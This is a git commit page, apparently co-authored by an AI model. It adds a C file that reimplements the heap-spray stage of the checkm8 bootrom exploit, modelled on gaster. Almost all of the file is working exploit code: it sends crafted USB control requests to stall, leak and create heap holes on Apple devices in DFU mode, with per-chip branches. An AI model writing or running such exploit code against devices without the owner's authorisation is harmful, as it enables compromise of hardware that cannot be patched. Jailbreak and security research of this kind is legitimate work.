fix(exploit): Rewrite setup and spray stages to match gaster
Corrected setup stage padding logic to properly handle config_overwrite_pad without 8-bit truncation. Fixed spray large_leak wIndex and no_leak hole creation to match gaster's exact USB transfer sequences. Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
This commit is contained in:
parent
5fa99730e6
commit
5fccb44766
3 changed files with 413 additions and 131 deletions
239
src/exploit/checkm8_spray.c
Normal file
239
src/exploit/checkm8_spray.c
Normal file
|
|
@ -0,0 +1,239 @@
|
|||
/* checkm8_spray.c -- checkm8 spray helpers + stage 3 (from gaster) */
|
||||
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
|
||||
#include "exploit/exploit.h"
|
||||
#include "exploit/checkm8.h"
|
||||
#include "exploit/checkm8_internal.h"
|
||||
#include "exploit/dfu_proto.h"
|
||||
#include "device/chip_db.h"
|
||||
#include "util/usb_helpers.h"
|
||||
#include "util/log.h"
|
||||
|
||||
/* ------------------------------------------------------------------ */
|
||||
/* checkm8_usb_request_stall */
|
||||
/* ------------------------------------------------------------------ */
|
||||
|
||||
/*
|
||||
* Gaster: send_usb_control_request_no_data(handle, 2, 3, 0, 0x80, 0, ...)
|
||||
* && transfer_ret.ret == USB_TRANSFER_STALL
|
||||
*
|
||||
* bmRequestType = 0x02 (host-to-device, standard, endpoint)
|
||||
* bRequest = 0x03 (SET_FEATURE)
|
||||
* wValue = 0
|
||||
* wIndex = 0x80 (EP0 IN)
|
||||
* wLength = 0
|
||||
*
|
||||
* This provokes a STALL on EP0 because SET_FEATURE(ENDPOINT_HALT)
|
||||
* on the IN endpoint is not valid in DFU mode.
|
||||
*/
|
||||
int checkm8_usb_request_stall(libusb_device_handle *usb)
|
||||
{
|
||||
int ret;
|
||||
|
||||
ret = usb_ctrl_transfer_no_data(usb, 0x02, 0x03, 0, 0x80,
|
||||
USB_TIMEOUT_MS);
|
||||
|
||||
/* PIPE error means STALL -- that is success */
|
||||
return (ret == LIBUSB_ERROR_PIPE) ? 1 : 0;
|
||||
}
|
||||
|
||||
/* ------------------------------------------------------------------ */
|
||||
/* checkm8_usb_request_leak */
|
||||
/* ------------------------------------------------------------------ */
|
||||
|
||||
/*
|
||||
* Gaster: send_usb_control_request_async_no_data(handle, 0x80, 6,
|
||||
* (3U << 8U) | i_serial_number, USB_MAX_STRING_DESCRIPTOR_IDX,
|
||||
* EP0_MAX_PACKET_SZ, 1, &transfer_ret) && transfer_ret.sz == 0
|
||||
*
|
||||
* GET_DESCRIPTOR for string descriptor (type=3, index=serial)
|
||||
* with wIndex = USB_MAX_STRING_DESC_IDX (10, not a real language ID).
|
||||
* 1ms timeout, expect 0 bytes back (allocation happened but no data
|
||||
* returned before timeout).
|
||||
*/
|
||||
int checkm8_usb_request_leak(libusb_device_handle *usb)
|
||||
{
|
||||
unsigned char *buf;
|
||||
int ret;
|
||||
|
||||
buf = calloc(1, EP0_MAX_PACKET_SZ);
|
||||
if (!buf)
|
||||
return 0;
|
||||
|
||||
ret = usb_ctrl_transfer_async_ret(usb, 0x80, 0x06,
|
||||
(3U << 8U) | DFU_SERIAL_IDX,
|
||||
USB_MAX_STRING_DESC_IDX,
|
||||
buf, EP0_MAX_PACKET_SZ,
|
||||
STALL_TIMEOUT_MS);
|
||||
free(buf);
|
||||
|
||||
/* Success = transfer returned 0 bytes (allocation without data) */
|
||||
return (ret == 0) ? 1 : 0;
|
||||
}
|
||||
|
||||
/* ------------------------------------------------------------------ */
|
||||
/* checkm8_stall */
|
||||
/* ------------------------------------------------------------------ */
|
||||
|
||||
/*
|
||||
* Gaster: loop with variable usb_abort_timeout:
|
||||
* send_usb_control_request_async_no_data(handle, 0x80, 6,
|
||||
* (3U << 8U) | i_serial_number, USB_MAX_STRING_DESCRIPTOR_IDX,
|
||||
* 3 * EP0_MAX_PACKET_SZ, usb_abort_timeout, &transfer_ret)
|
||||
* && transfer_ret.sz < 3 * EP0_MAX_PACKET_SZ
|
||||
* && checkm8_usb_request_leak(handle)
|
||||
*
|
||||
* Sends GET_DESCRIPTOR with 3*EP0_MAX_PACKET_SZ length, variable
|
||||
* timeout. Loops until a short transfer occurs and a subsequent
|
||||
* leak request succeeds.
|
||||
*/
|
||||
void checkm8_stall(libusb_device_handle *usb)
|
||||
{
|
||||
unsigned usb_timeout = USB_ABORT_TIMEOUT_DEFAULT;
|
||||
unsigned usb_abort_timeout = usb_timeout - 1;
|
||||
uint16_t desc_len = 3 * EP0_MAX_PACKET_SZ;
|
||||
|
||||
for (;;) {
|
||||
unsigned char *buf = calloc(1, desc_len);
|
||||
int ret;
|
||||
|
||||
if (!buf)
|
||||
continue;
|
||||
|
||||
ret = usb_ctrl_transfer_async_ret(usb, 0x80, 0x06,
|
||||
(3U << 8U) | DFU_SERIAL_IDX,
|
||||
USB_MAX_STRING_DESC_IDX,
|
||||
buf, desc_len,
|
||||
usb_abort_timeout);
|
||||
free(buf);
|
||||
|
||||
/*
|
||||
* Short transfer (ret < desc_len) and a successful leak
|
||||
* means the stall worked.
|
||||
*/
|
||||
if (ret >= 0 && (uint16_t)ret < desc_len &&
|
||||
checkm8_usb_request_leak(usb)) {
|
||||
break;
|
||||
}
|
||||
|
||||
/* Rotate abort timeout (gaster formula) */
|
||||
usb_abort_timeout = (usb_abort_timeout + 1)
|
||||
% (usb_timeout - USB_ABORT_TIMEOUT_MIN + 1)
|
||||
+ USB_ABORT_TIMEOUT_MIN;
|
||||
}
|
||||
}
|
||||
|
||||
/* ------------------------------------------------------------------ */
|
||||
/* checkm8_no_leak */
|
||||
/* ------------------------------------------------------------------ */
|
||||
|
||||
/*
|
||||
* Gaster: send_usb_control_request_async_no_data(handle, 0x80, 6,
|
||||
* (3U << 8U) | i_serial_number, USB_MAX_STRING_DESCRIPTOR_IDX,
|
||||
* 3 * EP0_MAX_PACKET_SZ + 1, 1, &transfer_ret)
|
||||
* && transfer_ret.sz == 0
|
||||
*
|
||||
* Same as leak but with length = 3*EP0_MAX_PACKET_SZ + 1 (0xC1).
|
||||
* The extra byte forces a different allocation size, creating a
|
||||
* hole when the buffer is freed.
|
||||
*/
|
||||
int checkm8_no_leak(libusb_device_handle *usb)
|
||||
{
|
||||
uint16_t desc_len = 3 * EP0_MAX_PACKET_SZ + 1;
|
||||
unsigned char *buf;
|
||||
int ret;
|
||||
|
||||
buf = calloc(1, desc_len);
|
||||
if (!buf)
|
||||
return 0;
|
||||
|
||||
ret = usb_ctrl_transfer_async_ret(usb, 0x80, 0x06,
|
||||
(3U << 8U) | DFU_SERIAL_IDX,
|
||||
USB_MAX_STRING_DESC_IDX,
|
||||
buf, desc_len,
|
||||
STALL_TIMEOUT_MS);
|
||||
free(buf);
|
||||
|
||||
/* Success = transfer returned 0 bytes */
|
||||
return (ret == 0) ? 1 : 0;
|
||||
}
|
||||
|
||||
/* ------------------------------------------------------------------ */
|
||||
/* Stage 3: Heap spray */
|
||||
/* ------------------------------------------------------------------ */
|
||||
|
||||
int checkm8_stage_spray(exploit_ctx_t *ctx)
|
||||
{
|
||||
libusb_device_handle *usb;
|
||||
const chip_info_t *chip;
|
||||
size_t i;
|
||||
|
||||
if (!ctx || !ctx->dev || !ctx->chip)
|
||||
return -1;
|
||||
|
||||
usb = ctx->dev->usb;
|
||||
chip = ctx->chip;
|
||||
log_info("checkm8: stage 3/4 -- heap spray");
|
||||
|
||||
if (chip->config_large_leak == 0) {
|
||||
uint32_t cpid = chip->cpid;
|
||||
|
||||
/*
|
||||
* No-leak path. Two sub-paths based on CPID (from gaster):
|
||||
*
|
||||
* Path A (0x8000/0x8003/0x7000/0x7001/0x7002):
|
||||
* Retry stall+leak+no_leak in a single loop.
|
||||
*
|
||||
* Path B (all others with config_hole):
|
||||
* Stall, then create config_hole holes via no_leak,
|
||||
* then final leak+no_leak.
|
||||
*/
|
||||
if (cpid == 0x7001 || cpid == 0x7000 || cpid == 0x7002 ||
|
||||
cpid == 0x8003 || cpid == 0x8000) {
|
||||
while (!checkm8_usb_request_stall(usb) ||
|
||||
!checkm8_usb_request_leak(usb) ||
|
||||
!checkm8_no_leak(usb)) {
|
||||
/* spin */
|
||||
}
|
||||
} else {
|
||||
checkm8_stall(usb);
|
||||
for (i = 0; i < chip->config_hole; ++i) {
|
||||
while (!checkm8_no_leak(usb)) {
|
||||
/* spin */
|
||||
}
|
||||
}
|
||||
while (!checkm8_usb_request_leak(usb) ||
|
||||
!checkm8_no_leak(usb)) {
|
||||
/* spin */
|
||||
}
|
||||
}
|
||||
|
||||
/* Final: DFU_CLR_STATUS with (3*EP0_MAX_PACKET_SZ + 1) bytes */
|
||||
{
|
||||
uint16_t clr_len = 3 * EP0_MAX_PACKET_SZ + 1;
|
||||
uint8_t *clr_buf = calloc(1, clr_len);
|
||||
if (clr_buf) {
|
||||
usb_ctrl_transfer(usb, 0x21, DFU_REQ_CLRSTATUS,
|
||||
0, 0, clr_buf, clr_len, USB_TIMEOUT_MS);
|
||||
free(clr_buf);
|
||||
}
|
||||
}
|
||||
} else {
|
||||
/*
|
||||
* Large-leak path: config_large_leak stall requests,
|
||||
* then DFU_CLR_STATUS with 0 data bytes.
|
||||
*/
|
||||
for (i = 0; i < chip->config_large_leak; ++i) {
|
||||
while (!checkm8_usb_request_stall(usb)) {
|
||||
/* spin */
|
||||
}
|
||||
}
|
||||
dfu_clr_status(usb);
|
||||
}
|
||||
|
||||
ctx->phase = EXPLOIT_PHASE_SPRAY;
|
||||
log_info("checkm8: stage 3 complete -- heap spray done");
|
||||
return 0;
|
||||
}
|
||||
Loading…
Add table
Add a link
Reference in a new issue